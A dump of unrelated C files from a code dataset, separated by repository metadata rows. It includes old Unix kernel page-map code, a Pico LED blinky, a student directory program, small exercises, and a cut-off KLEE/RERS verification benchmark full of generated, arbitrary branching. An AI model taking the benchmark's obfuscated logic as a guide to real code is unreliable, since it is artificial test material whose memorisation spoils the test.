c1->c_mdev = 0;
c1->c_blkno = 0;
c1->c_hlink = 0;
}
/*
* Look for block bn of device dev in the free pool.
* Currently it should not be possible to find it unless it is
* c_free and c_gone, although this may later not be true.
* (This is because active texts are locked against file system
* writes by the system.)
*/
struct cmap *
mfind(dev, bn)
dev_t dev;
daddr_t bn;
{
register struct cmap *c1 = &cmap[cmhash[CMHASH(bn)]];
int si = splimp();
while (c1 != ecmap) {
if (c1->c_blkno == bn && c1->c_mdev == getfsx(dev)) {
splx(si);
return (c1);
}
c1 = &cmap[c1->c_hlink];
}
splx(si);
return ((struct cmap *)0);
}
/*
* Purge blocks from device dev from incore cache
* before umount().
*/
mpurge(mdev)
int mdev;
{
register struct cmap *c1, *c2;
register int i;
int si = splimp();
for (i = 0; i < CMHSIZ; i++) {
more:
c1 = &cmap[cmhash[i]];
if (c1 == ecmap)
continue;
if (c1->c_mdev == mdev)
cmhash[i] = c1->c_hlink;
else {
for (;;) {
c2 = c1;
c1 = &cmap[c1->c_hlink];
if (c1 == ecmap)
goto cont;
if (c1->c_mdev == mdev)
break;
}
c2->c_hlink = c1->c_hlink;
}
c1->c_mdev = 0;
c1->c_blkno = 0;
c1->c_hlink = 0;
goto more;
cont:
;
}
splx(si);
}
/*
* Initialize core map
*/
meminit(first, last)
int first, last;
{
register int i;
register struct cmap *c;
firstfree = clrnd(first);
maxfree = clrnd(last - (CLSIZE - 1));
freemem = maxfree - firstfree;
ecmx = ecmap - cmap;
if (ecmx < freemem / CLSIZE)
freemem = ecmx * CLSIZE;
for (i = 1; i <= freemem / CLSIZE; i++) {
cmap[i-1].c_next = i;
c = &cmap[i];
c->c_prev = i-1;
c->c_free = 1;
c->c_gone = 1;
c->c_type = CSYS;
c->c_mdev = 0;
c->c_blkno = 0;
}
cmap[freemem / CLSIZE].c_next = CMHEAD;
for (i = 0; i < CMHSIZ; i++)
cmhash[i] = ecmx;
cmap[CMHEAD].c_prev = freemem / CLSIZE;
cmap[CMHEAD].c_type = CSYS;
avefree = freemem;
}
#ifdef notdef
/*
* Wait for frame pf to become unlocked
* if it is currently locked.
*/
mwait(c)
struct cmap *c;
{
mlock(c);
munlock(c);
}
/*
* Lock a page frame.
*/
mlock(c)
register struct cmap *c;
{
while (c->c_lock) {
c->c_want = 1;
sleep((caddr_t)c, PSWP+1);
}
c->c_lock = 1;
}
/*
* Unlock a page frame.
*/
munlock(c)
register struct cmap *c;
{
if (c->c_lock == 0)
panic("dup page unlock");
if (c->c_want) {
wakeup((caddr_t)c);
c->c_want = 0;
}
c->c_lock = 0;
}
#endif notdef
/*
* Lock a virtual segment.
*
* For each cluster of pages, if the cluster is not valid,
* touch it to fault it in, otherwise just lock page frame.
* Called from physio to ensure that the pages
* participating in raw i/o are valid and locked.
*/
vslock(base, count)
caddr_t base;
{
register unsigned v;
register int npf;
register struct pte *pte;
register struct cmap *c;
v = btop(base);
pte = vtopte(u.u_procp, v);
npf = btoc(count + ((int)base & CLOFSET));
while (npf > 0) {
if (pte->pg_v) {
c = &cmap[pgtocm(pte->pg_pfnum)];
if (c->c_lock) {
MLOCK(c);
MUNLOCK(c);
continue;
}
MLOCK(c);
} else
pagein(ctob(v), 1); /* return it locked */
pte += CLSIZE;
v += CLSIZE;
npf -= CLSIZE;
}
}
/*
* Unlock a virtual segment.
*/
vsunlock(base, count, rw)
caddr_t base;
{
register struct pte *pte;
register struct cmap *c;
int npf;
pte = vtopte(u.u_procp, btop(base));
npf = btoc(count + ((int)base & CLOFSET));
while (npf > 0) {
c = &cmap[pgtocm(pte->pg_pfnum)];
MUNLOCK(c);
if (rw == B_READ) /* Reading from device writes memory */
pte->pg_m = 1;
pte += CLSIZE;
npf -= CLSIZE;
}
}
| [
"phamthechung0@gmail.com"
] | phamthechung0@gmail.com |
f5095378ceb137517c315fbd4eabd02fd359d04c | 5a91da3720296d30eef5ced0ff241d046ee782c8 | /blinky/main.c | d367888d1c122f66f60b6cf2def91d9a57aa40ca | [] | no_license | dennyem/pico-demos | 0aeb3d1cadaec20e52ffc1e8add5eeeadc213188 | a5adce447999a6207362db1681004accc2491624 | refs/heads/master | 2023-03-29T05:38:12.783476 | 2021-03-25T20:50:12 | 2021-03-25T20:50:12 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,234 | c | /*
* Copyright (c) 2016, Alex Taradov <alex@taradov.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
//-----------------------------------------------------------------------------
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "rp2040.h"
#include "hal_gpio.h"
HAL_GPIO_PIN(LED, 25)
//-----------------------------------------------------------------------------
static void sys_init(void)
{
resets_hw->reset &= ~(RESETS_RESET_IO_BANK0_BITS | RESETS_RESET_PADS_BANK0_BITS);
}
//-----------------------------------------------------------------------------
int main(void)
{
sys_init();
HAL_GPIO_LED_out();
HAL_GPIO_LED_clr();
while (1)
{
volatile int wait = 1000000; while (wait--);
HAL_GPIO_LED_toggle();
}
return 0;
}
| [
"12226419+majbthrd@users.noreply.github.com"
] | 12226419+majbthrd@users.noreply.github.com |
c6bf102773f17f89855b9f45cc1e444f13947b9f | bd89f94d931fdd41760075518bd47f688fbaa908 | /Two_level_dir.c | 6c03cabc61bbe94fe6dac66535a015632bc4516a | [] | no_license | Bharathm1/S5_System-Software-Lab | ed0f82062bb236456d79a6be438746bae444e976 | 32b2a094b02d27f030d53c210c98fe50bf4525cb | refs/heads/master | 2022-03-22T17:13:29.229154 | 2019-11-14T15:47:41 | 2019-11-14T15:47:41 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 2,282 | c | #include<stdio.h>
#include<string.h>
#include<stdlib.h>
struct directory
{
char dname[10],fname[10][10];
int n;//no. of files
}dir[10];
main()
{
int i,c,m,k;
char f[30], d[30];
m=0;
while(1)
{
printf("\n\n1.Create directory\n2.Create file\n3.Delete file\n4.Search file\n5.Display\n6.Exit\nEnter your choice: ");
scanf("%d",&c);
switch(c)
{
case 1: printf("\nEnter name of the directory: ");
scanf("%s", dir[m].dname);
dir[m].n=0;//currently no files
m++;
printf("Directory created");
break;
case 2: printf("\n Enter name of the directory -- ");
scanf("%s",d);
for(i=0;i<m;i++)
if(strcmp(d,dir[i].dname)==0)//find if the dircetory exists
{
printf("Enter name of the file: ");
scanf("%s",dir[i].fname[dir[i].n]);
dir[i].n++;
printf("File created");
break;
}
if(i==m)
printf("Directory %s not found",d);
break;
case 3: printf("\nEnter name of the directory: ");
scanf("%s",d);
for(i=0;i<m;i++)
{
if(strcmp(d,dir[i].dname)==0)
{
printf("Enter name of the file: ");
scanf("%s",f);
for(k=0;k<dir[i].n;k++)
{
if(strcmp(f, dir[i].fname[k])==0)
{
printf("File %s is deleted ",f);
dir[i].n--;
strcpy(dir[i].fname[k],dir[i].fname[dir[i].n]);
goto jmp;
}
}
printf("File %s not found",f);
goto jmp;
}
}
printf("Directory %s not found",d);
jmp : break;
case 4: printf("\nEnter name of the directory: ");
scanf("%s",d);
for(i=0;i<m;i++)
{
if(strcmp(d,dir[i].dname)==0)
{
printf("Enter the name of the file: ");
scanf("%s",f);
for(k=0;k<dir[i].n;k++)
{
if(strcmp(f, dir[i].fname[k])==0)
{
printf("File %s is found ",f);
goto jmp1;
}
}
printf("File %s not found",f);
goto jmp1;
}
}
printf("Directory %s not found",d);
jmp1: break;
case 5: if(m==0)
printf("\nNo Directory's ");
else
{
printf("\nDirectory\tFiles");
for(i=0;i<m;i++)
{
printf("\n%s\t\t",dir[i].dname);
for(k=0;k<dir[i].n;k++)
printf("\t%s",dir[i].fname[k]);
}
}
break;
default:exit(0);
}
}
} | [
"meghakc10@gmail.com"
] | meghakc10@gmail.com |
507aaa9c971f7de2bc6cc8bbe4c4719a00cc59e0 | 307e775b650f60d658832f30137c059df02cdce9 | /Midterm/week3/quiz/q2/q2.c | b2061ccfc6e26d19b880a6e115edc0cdd7baa11e | [] | no_license | ZeroHX/Compro2018 | 822eefeb84d57455732f82322e28e075b4b7925e | be228585d03925daf3efd4ee85931d44432c083b | refs/heads/master | 2020-04-18T06:43:24.710655 | 2019-03-20T15:42:09 | 2019-03-20T15:42:09 | 167,334,261 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 202 | c | #include "stdio.h"
int main() {
int i=5, j=36;
float x = 0.001, y = 0.00, z = -81.753;
char c='z', d='M';
// Assignment Statements of each question
j*=(int)(x+z)/2;
return 0;
} | [
"61070023@kmitl.ac.th"
] | 61070023@kmitl.ac.th |
e67ca9f2279281004369d5e031c00cc837e0d245 | 551e8e5685fa06bacb4787647e7788f8bf5d003b | /t/hello/gb/goodbye.c | 492be7e6fcb8825a2bfe8677e01c0d04af4f6d85 | [] | no_license | mikkoi/audited-objects | c34dffb38b1b7e28434fe3b1d4f1b441b8143799 | b15f30ce2847f17c6887447b0ef18409bec95a97 | refs/heads/master | 2020-07-29T10:16:41.771138 | 2016-09-27T04:32:52 | 2016-09-27T04:32:52 | null | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 114 | c | #include "../hello.h"
#include "goodbye.h"
int main(int argc, char *argv[])
{
printf("Goodbye, world!\n");
}
| [
"boyski@users.sourceforge.net"
] | boyski@users.sourceforge.net |
0f7c3c98b6d40895bccc81cbb36d27ad8cca40f0 | 7c6d52578899988488ea29033c43063367f5c319 | /KLEE-VERSION/RERS/Wtest23-B5.c | b95019a4782f8393ce137ef9e499f6873ccd3e52 | [] | no_license | tracer-x/PROGRAM-DATABASE-TEACHING | e803aca2a007bf366460b3466d2614e7ce8f66ce | a3c47853e656af890d77b5c7afae9c310c15345b | refs/heads/master | 2021-01-07T05:54:47.151186 | 2020-02-19T10:40:46 | 2020-02-19T10:40:46 | 241,597,951 | 0 | 0 | null | null | null | null | UTF-8 | C | false | false | 139,565 | c | #include<stdio.h>
#ifdef LLBMC
#include <llbmc.h>
#else
#include <klee/klee.h>
#endif
#define BOUND 5
int kappa;
int input,output;
#include <assert.h>
#include <math.h>
#include <stdlib.h>
// inputs
int inputs[] = {5,6,1,7,2,8,3,9,10,4};
int calculate_output(int);
int calculate_outputm1(int);
int calculate_outputm2(int);
int calculate_outputm3(int);
int calculate_outputm4(int);
int calculate_outputm5(int);
int calculate_outputm6(int);
int calculate_outputm7(int);
int calculate_outputm8(int);
int calculate_outputm9(int);
int calculate_outputm10(int);
int calculate_outputm11(int);
int calculate_outputm12(int);
int calculate_outputm13(int);
int calculate_outputm14(int);
int calculate_outputm15(int);
int calculate_outputm16(int);
int calculate_outputm17(int);
int calculate_outputm18(int);
int calculate_outputm19(int);
int calculate_outputm20(int);
int calculate_outputm21(int);
int calculate_outputm22(int);
int calculate_outputm23(int);
int calculate_outputm24(int);
int calculate_outputm25(int);
int calculate_outputm26(int);
int calculate_outputm27(int);
int calculate_outputm28(int);
int calculate_outputm29(int);
int calculate_outputm30(int);
int calculate_outputm31(int);
int calculate_outputm32(int);
int calculate_outputm33(int);
int calculate_outputm34(int);
int calculate_outputm35(int);
int calculate_outputm36(int);
int calculate_outputm37(int);
int calculate_outputm38(int);
int calculate_outputm39(int);
int calculate_outputm40(int);
int calculate_outputm41(int);
int calculate_outputm42(int);
int calculate_outputm43(int);
int calculate_outputm44(int);
int calculate_outputm45(int);
int calculate_outputm46(int);
int calculate_outputm47(int);
int calculate_outputm48(int);
int calculate_outputm49(int);
int calculate_outputm50(int);
int calculate_outputm51(int);
int calculate_outputm52(int);
int calculate_outputm53(int);
int calculate_outputm54(int);
int calculate_outputm55(int);
int calculate_outputm56(int);
int calculate_outputm57(int);
int calculate_outputm58(int);
int calculate_outputm59(int);
int calculate_outputm60(int);
int calculate_outputm61(int);
int calculate_outputm62(int);
int calculate_outputm63(int);
int calculate_outputm64(int);
int calculate_outputm65(int);
int calculate_outputm66(int);
int calculate_outputm67(int);
int calculate_outputm68(int);
int calculate_outputm69(int);
int calculate_outputm70(int);
int calculate_outputm71(int);
int calculate_outputm72(int);
int calculate_outputm73(int);
int calculate_outputm74(int);
int calculate_outputm75(int);
int calculate_outputm76(int);
int calculate_outputm77(int);
int calculate_outputm78(int);
int calculate_outputm79(int);
int calculate_outputm80(int);
int calculate_outputm81(int);
int calculate_outputm82(int);
int calculate_outputm83(int);
int calculate_outputm84(int);
int calculate_outputm85(int);
int calculate_outputm86(int);
int calculate_outputm87(int);
int calculate_outputm88(int);
int calculate_outputm89(int);
int cf = 1;
int a70 = -34;
int a135[] = {4,5,6,7,8,9,10,11};
int a66 = 1;
int a157 = 13;
int a113[] = {20,21,22,23,24,25};
int a128[] = {26,27,28,29,30,31};
int a199[] = {32,33,34,35,36,37};
int *a10 = a113;
int a73[] = {0,1,2,3,4,5};
int a18[] = {6,7,8,9,10,11};
int a115[] = {12,13,14,15,16,17};
int *a150 = a73;
int a172[] = {8,9,10,11,12,13,14,15};
int a137[] = {5,6,7,8,9,10,11,12};
int a166 = 2;
int a105[] = {82,83,84,85,86,87};
int a39[] = {88,89,90,91,92,93};
int a42[] = {94,95,96,97,98,99};
int *a90 = a42;
int a12 = -135;
int a169 = 169;
int a25 = 103;
int a168 = 10;
int a165[] = {87,88,89,90,91,92};
int a55[] = {93,94,95,96,97,98};
int a149[] = {99,100,101,102,103,104};
int *a180 = a165;
int a106[] = {1,2,3,4,5,6,7,8};
int a51 = 49;
int a58 = -33;
int a140[] = {6,7,8,9,10,11,12,13};
int a103[] = {88,89,90,91,92,93};
int a86[] = {94,95,96,97,98,99};
int a107[] = {100,101,102,103,104,105};
int *a156 = a103;
int a98 = -65;
int a171[] = {4,5,6,7,8,9,10,11};
int a111 = 10;
int a108[] = {80,81,82,83,84,85};
int a60[] = {86,87,88,89,90,91};
int a129[] = {92,93,94,95,96,97};
int *a185 = a129;
int a93 = 33;
int a120 = 4;
int a195 = 6;
int a68 = 32;
int a61 = 15;
int a85 = 3;
int a173 = 33;
int a148[] = {9,10,11,12,13,14,15,16};
int a117 = 9;
int a17 = 4;
int a27 = 4;
int a182 = 8;
int a174 = 10;
int a92 = 33;
int a37[] = {67,68,69,70,71,72};
int a198[] = {73,74,75,76,77,78};
int a40[] = {79,80,81,82,83,84};
int *a44 = a37;
int a16 = 6;
int a43 = 14;
int a158 = -2;
int a49[] = {37,38,39,40,41,42};
int a57[] = {43,44,45,46,47,48};
int a52[] = {49,50,51,52,53,54};
int *a19 = a52;
int a130 = 9;
int a146 = 33;
int a7 = 35;
int a72[] = {3,4,5,6,7,8,9,10};
int a38[] = {5,6,7,8,9,10,11,12};
int calculate_outputm36(int input) {
if(((a70 <= -29 && (((((a27 == a135[0] && a12 <= -119) && a146 == 33) && a85 == a72[0]) && (92 == a180[5])) && (89 == a156[1]))) && (input == inputs[2] && ((((-117 < a25) && (-74 >= a25)) && cf==1 ) && a43 == 9)))) {
cf = 0;
a27 = a135[(a43 + -2)];
a17 = (a43 + -3);
a120 = a171[((a66 / a43) - -2)];
a168 = (a66 + 8);
a68 = 34 ;
a130 = a148[((a43 + a17) + -13)];
a12 = (((((((a12 * a70) % 14999) % 30) - 43) + 11) / 5) + -41);
a180 = a149;
a111 = ((a17 / a66) - -6);
a10 = a199;
a146 = 34 ;
a66 = (a111 + -9);
a173 = 34 ;
a70 = ((((((((a70 * a58) % 14999) % 78) - -108) * 9) / 10) * 10) / 9);
a85 = a72[((a43 / a43) - -1)];
a156 = a107;
a58 = ((((((((a58 * a25) % 14999) + -5880) % 74) - -198) * 5) % 74) - -130);
//printf("%d\n", 23);
}
if((((a66 == 1 && (a70 <= -29 && ((a27 == a135[0] && a130 == a148[0]) && a12 <= -119))) && (23 == a10[3])) && (((-117 < a25) && (-74 >= a25)) && ((input == inputs[6] && (a43 == 9 && cf==1 )) && a17 == 4)))) {
cf = 0;
a93 = 34 ;
a168 = ((a17 * a17) + -8);
a43 = (a66 - -12);
//printf("%d\n", 19);
}
}
int calculate_outputm1(int input) {
if((((((89 == a156[1]) && (a146 == 33 && (((-117 < a25) && (-74 >= a25)) && cf==1 ))) && (23 == a10[3])) && a70 <= -29) && (a120 == a171[0] && a111 == 10))) {
calculate_outputm36(input);
}
}
int calculate_outputm37(int input) {
if(((((92 == a180[5]) && (23 == a10[3])) && a70 <= -29) && (a17 == 4 && ((a43 == 10 && (a130 == a148[0] && (a16 == a140[4] && (a27 == a135[0] && (input == inputs[5] && cf==1 ))))) && a120 == a171[0])))) {
cf = 0;
a130 = a148[((a111 + a111) + -18)];
a120 = a171[(a111 - 8)];
a10 = a199;
a92 = 32 ;
a180 = a149;
a58 = ((((((a12 * a12) % 14999) - 17257) * 1) % 74) + 201);
a66 = (a111 - 7);
a173 = 34 ;
a146 = 34 ;
a27 = a135[(a43 + -6)];
a70 = ((((((a70 * a58) % 14999) % 78) - -172) * 1) - -2);
a166 = (a111 - 2);
a17 = (a111 + -4);
a85 = a72[(a111 - 8)];
a12 = ((((((((a12 * a58) % 14999) % 30) - 30) - 1) * 5) % 30) + -9);
a93 = 34 ;
a156 = a107;
a111 = (a17 - -6);
//printf("%d\n", 25);
}
if((((a43 == 10 && (a12 <= -119 && ((a27 == a135[0] && cf==1 ) && input == inputs[4]))) && (89 == a156[1])) && (a111 == 10 && ((a93 == 33 && ((92 == a180[5]) && a16 == a140[4])) && a173 == 33)))) {
cf = 0;
a58 = ((((((a12 * a12) % 14999) % 74) + 140) + 4047) + -4056);
a156 = a107;
a166 = ((a66 + a66) - -6);
a16 = a140[((a166 * a43) + -73)];
a10 = a199;
a130 = a148[((a43 - a43) - -2)];
a27 = a135[(a17 - 2)];
a146 = 32 ;
a66 = ((a17 / a17) + 2);
a85 = a72[(a166 - 7)];
a93 = 34 ;
a70 = (((((((a70 * a58) % 14999) % 78) + 171) / 5) / 5) + 175);
a111 = (a43 - -2);
a180 = a55;
a173 = 34 ;
a120 = a171[((a43 - a43) - -2)];
a17 = ((a43 + a43) - 14);
a12 = ((((((a12 * a58) % 14999) % 30) + -31) / 5) - 42);
//printf("%d\n", 24);
}
if(((a120 == a171[0] && ((92 == a180[5]) && ((a27 == a135[0] && cf==1 ) && a16 == a140[4]))) && (a146 == 33 && ((a58 <= -32 && (((23 == a10[3]) && input == inputs[6]) && a85 == a72[0])) && a43 == 10)))) {
cf = 0;
a10 = a199;
a166 = (a111 - 2);
a27 = a135[(a66 + 3)];
a92 = 32 ;
a156 = a107;
a120 = a171[(a166 + -6)];
a111 = (a43 + 2);
a180 = a149;
a85 = a72[(a111 + -10)];
a70 = (((((((a70 * a12) % 14999) - 10594) + 4134) * 3) % 78) - -173);
a66 = ((a43 + a166) + -15);
a17 = (a166 - 2);
a130 = a148[(a166 - 6)];
a146 = 34 ;
a173 = 34 ;
a93 = 34 ;
a58 = (((((((a12 * a12) % 14999) + 8642) % 74) - -156) - -27894) - 27883);
a12 = ((((((((a12 * a58) % 14999) % 30) - 31) + 1) * 5) % 30) - 5);
//printf("%d\n", 23);
}
}
int calculate_outputm2(int input) {
if((((((a111 == 10 && a66 == 1) && a85 == a72[0]) && (89 == a156[1])) && a173 == 33) && (( cf==1 && a16 == a140[4]) && a70 <= -29))) {
calculate_outputm37(input);
}
}
int calculate_outputm38(int input) {
if((((((a17 == 4 && a173 == 33) && a43 == 11) && a85 == a72[0]) && a58 <= -32) && ((23 == a10[3]) && ((((a27 == a135[0] && cf==1 ) && input == inputs[9]) && ((-168 < a51) && (-58 >= a51))) && a93 == 33)))) {
cf = 0;
//printf("%d\n", 20);
}
}
int calculate_outputm3(int input) {
if(((a93 == 33 && ((((-168 < a51) && (-58 >= a51)) && cf==1 ) && a17 == 4)) && (((a146 == 33 && a58 <= -32) && a66 == 1) && a173 == 33))) {
calculate_outputm38(input);
}
}
int calculate_outputm39(int input) {
if(((((a66 == 1 && (a17 == 4 && a130 == a148[0])) && (92 == a180[5])) && a157 == 9) && ((a43 == 12 && ((a27 == a135[0] && ( cf==1 && input == inputs[3])) && a12 <= -119)) && a120 == a171[0]))) {
cf = 0;
a120 = a171[(a111 - 8)];
a93 = 34 ;
a10 = a199;
a156 = a107;
a85 = a72[((a43 + a111) - 20)];
a168 = (a157 + 3);
a180 = a149;
a146 = 34 ;
a12 = ((((((((a12 * a70) % 14999) % 30) - 52) + -9) * 5) % 30) + -27);
a173 = 34 ;
a130 = a148[(a43 + -10)];
a17 = ((a43 / a43) - -5);
a174 = ((a168 / a43) - -8);
a27 = a135[(a43 + -5)];
a66 = ((a17 + a111) - 13);
a111 = ((a168 - a17) - -6);
a70 = ((((((((a70 * a58) % 14999) - -5907) % 78) + 144) * 5) % 78) + 99);
a58 = ((((a58 / 5) - -23688) % 74) - -174);
//printf("%d\n", 22);
}
if((((92 == a180[5]) && (input == inputs[6] && (a146 == 33 && a66 == 1))) && (a173 == 33 && ((a130 == a148[0] && (a120 == a171[0] && ((a43 == 12 && cf==1 ) && a157 == 9))) && a27 == a135[0])))) {
cf = 0;
a85 = a72[((a17 - a157) + 7)];
a10 = a199;
a70 = (((((((a70 * a58) % 14999) - 22538) % 78) - -189) - 10185) - -10213);
a146 = 34 ;
a12 = ((((((a12 * a58) % 14999) - 19226) - 1617) % 30) - 15);
a130 = a148[(a157 - 7)];
a27 = a135[((a66 - a17) - -7)];
a180 = a149;
a173 = 34 ;
a120 = a171[(a17 - 2)];
a166 = (a66 - -7);
a66 = ((a17 * a17) + -13);
a111 = ((a43 + a157) + -9);
a93 = 34 ;
a92 = 32 ;
a58 = ((((((a58 * a70) % 14999) / 5) / 5) % 74) + 198);
a156 = a107;
a17 = (a43 + -6);
//printf("%d\n", 20);
}
if(((a111 == 10 && ((92 == a180[5]) && (input == inputs[7] && ( cf==1 && a27 == a135[0])))) && ((a120 == a171[0] && (a157 == 9 && (a130 == a148[0] && (a70 <= -29 && a43 == 12)))) && a85 == a72[0]))) {
cf = 0;
a111 = ((a43 * a157) - 96);
a150 = a115;
a12 = ((((((((a12 * a58) % 14999) % 30) - 36) * 9) / 10) * 10) / 9);
a180 = a149;
a130 = a148[(a43 - 10)];
a146 = 34 ;
a27 = a135[(a17 - -1)];
a156 = a107;
a10 = a199;
a70 = ((((((a70 * a12) % 14999) + 9977) * 1) % 78) + 165);
a85 = a72[(a111 - 10)];
a120 = a171[(a66 - -1)];
a93 = 34 ;
a17 = (a111 + -6);
a58 = (((((((a58 * a12) % 14999) + -23110) + 14871) + 10126) % 74) - -155);
//printf("%d\n", 20);
}
}
int calculate_outputm40(int input) {
if((((23 == a10[3]) && ((92 == a180[5]) && ((a43 == 12 && cf==1 ) && a27 == a135[0]))) && (a111 == 10 && (((input == inputs[9] && (a157 == 14 && a70 <= -29)) && a93 == 33) && a58 <= -32)))) {
cf = 0;
a70 = ((((((a70 * a12) % 14999) - -8924) % 78) - -173) + 1);
a120 = a171[(a43 - 12)];
a93 = 34 ;
a173 = 33 ;
a111 = a43;
a157 = ((a66 + a17) + 3);
a156 = a107;
a180 = a149;
a17 = (a111 - 6);
a150 = a115;
a10 = a199;
a27 = a135[((a157 * a66) - 3)];
a58 = (((((((a58 * a70) % 14999) / 5) % 74) - -197) - -13837) + -13835);
a130 = a148[(a43 + -10)];
a66 = ((a157 * a157) - 61);
//printf("%d\n", 19);
}
}
int calculate_outputm4(int input) {
if(((a85 == a72[0] && (a12 <= -119 && (a157 == 9 && cf==1 ))) && (a130 == a148[0] && (a66 == 1 && (a111 == 10 && a93 == 33))))) {
calculate_outputm39(input);
}
if(((a66 == 1 && (a130 == a148[0] && ((a157 == 14 && cf==1 ) && (23 == a10[3])))) && (a17 == 4 && (a93 == 33 && (89 == a156[1]))))) {
calculate_outputm40(input);
}
}
int calculate_outputm41(int input) {
if(((a111 == 10 && (((a120 == a171[0] && a12 <= -119) && a27 == a135[0]) && input == inputs[2])) && (((((a168 == 8 && cf==1 ) && a43 == 13) && a66 == 1) && a17 == 4) && (89 == a156[1])))) {
cf = 0;
a93 = 33 ;
a43 = (a17 - -8);
a157 = (a17 + 5);
//printf("%d\n", 23);
}
if(((((((a43 == 13 && a111 == 10) && a27 == a135[0]) && a12 <= -119) && (23 == a10[3])) && a58 <= -32) && (a120 == a171[0] && (a17 == 4 && ((input == inputs[3] && cf==1 ) && a168 == 8))))) {
cf = 0;
a27 = a135[((a43 + a43) - 19)];
a10 = a199;
a130 = a148[(a111 + -8)];
a168 = ((a66 * a111) + 3);
a85 = a72[(a66 + 1)];
a12 = ((((55 - 83) * 5) * 5) - -679);
a156 = a107;
a146 = 34 ;
a111 = ((a66 * a66) - -11);
a17 = (a66 - -5);
a180 = a149;
a70 = ((((a70 % 78) + 184) * 5) / 5);
a120 = a171[(a66 + 1)];
a58 = (((((((a58 * a12) % 14999) + -20258) % 74) + 203) - -24509) - 24458);
a173 = 34 ;
a66 = (a17 - 3);
a185 = a108;
//printf("%d\n", 20);
}
}
int calculate_outputm5(int input) {
if(((a146 == 33 && ((89 == a156[1]) && ((a168 == 8 && cf==1 ) && a66 == 1))) && (a130 == a148[0] && (a58 <= -32 && (92 == a180[5]))))) {
calculate_outputm41(input);
}
}
int calculate_outputm42(int input) {
if(((a111 == 10 && ((89 == a156[1]) && ((a17 == 4 && a16 == a140[0]) && (92 == a180[5])))) && ((a66 == 1 && ((a27 == a135[0] && ( cf==1 && a43 == 14)) && input == inputs[6])) && (23 == a10[3])))) {
cf = 0;
a66 = (a17 + -1);
a70 = ((((a70 - 0) - 0) % 78) + 184);
a120 = a171[((a17 - a43) - -12)];
a12 = (((33 + -70) - 21185) + 21213);
a85 = a72[(a111 + -8)];
a173 = 34 ;
a27 = a135[(a43 + -7)];
a10 = a199;
a174 = (a17 + 8);
a111 = (a43 + -2);
a180 = a149;
a58 = ((((((a58 * a12) % 14999) % 74) + 131) + -11155) - -11206);
a130 = a148[((a174 - a66) - 7)];
a93 = 34 ;
a168 = ((a174 + a43) + -14);
a146 = 34 ;
a156 = a107;
a17 = ((a66 / a43) + 5);
//printf("%d\n", 20);
}
if(((a70 <= -29 && ((((((a43 == 14 && (a27 == a135[0] && cf==1 )) && input == inputs[2]) && a16 == a140[0]) && a93 == 33) && a58 <= -32) && a17 == 4)) && ((23 == a10[3]) && a111 == 10))) {
cf = 0;
a85 = a72[(a43 - 12)];
a173 = 34 ;
a156 = a107;
a146 = 34 ;
a166 = (a66 + 6);
a10 = a199;
a58 = (((((((a12 * a70) % 14999) + -13147) - 10717) - 1564) % 74) - -271);
a17 = ((a111 + a111) - 14);
a27 = a135[a166];
a12 = (((((((((a12 * a58) % 14999) % 30) + -31) * 9) / 10) * 5) % 30) - 2);
a180 = a149;
a168 = (a166 - -8);
a130 = a148[(a111 + -8)];
a93 = 34 ;
a70 = (((((((a58 * a58) % 14999) - -2233) + -3474) - -5215) % 78) + 127);
a120 = a171[(a111 + -8)];
a66 = ((a17 * a111) + -57);
a111 = 12;
//printf("%d\n", 24);
}
}
int calculate_outputm43(int input) {
if(((a43 == 14 && (((a58 <= -32 && a173 == 33) && (89 == a156[1])) && a111 == 10)) && (a146 == 33 && (a120 == a171[0] && (a27 == a135[0] && ((a16 == a140[2] && cf==1 ) && input == inputs[3])))))) {
cf = 0;
a146 = 34 ;
a27 = a135[(a111 + -7)];
a195 = a106[(a17 + 1)];
a185 = a60;
//printf("%d\n", 25);
}
if(((a111 == 10 && a146 == 33) && (((((((a27 == a135[0] && (a16 == a140[2] && cf==1 )) && a43 == 14) && a17 == 4) && a70 <= -29) && input == inputs[7]) && a58 <= -32) && a173 == 33))) {
cf = 0;
if(((a7 == 35 || !(a93 == 32)) || !(100 == a180[1]))) {
a12 = ((((76 * -1) / 10) / 5) - 3);
a10 = a199;
a182 = a137[(a111 + -10)];
a180 = a149;
a93 = 34 ;
a70 = ((((((a70 * a12) % 14999) % 78) + 102) + 37) - -2);
a156 = a107;
a146 = 34 ;
a58 = ((((((a58 * a70) % 14999) + -7164) / 5) % 74) + 264);
a27 = a135[(a66 - -3)];
a166 = ((a17 + a111) + -13);
a120 = a171[(a43 + -12)];
a66 = (a17 - 1);
a130 = a148[(a43 + -12)];
a111 = (a43 - 2);
a85 = a72[((a17 * a43) + -54)];
a17 = (a43 - 8);
}else {
a10 = a199;
a93 = 34 ;
a130 = a148[(a43 - 12)];
a17 = (a43 - 8);
a173 = 34 ;
a180 = a149;
a58 = (((((a58 / 5) + -14644) + 16761) % 74) + 198);
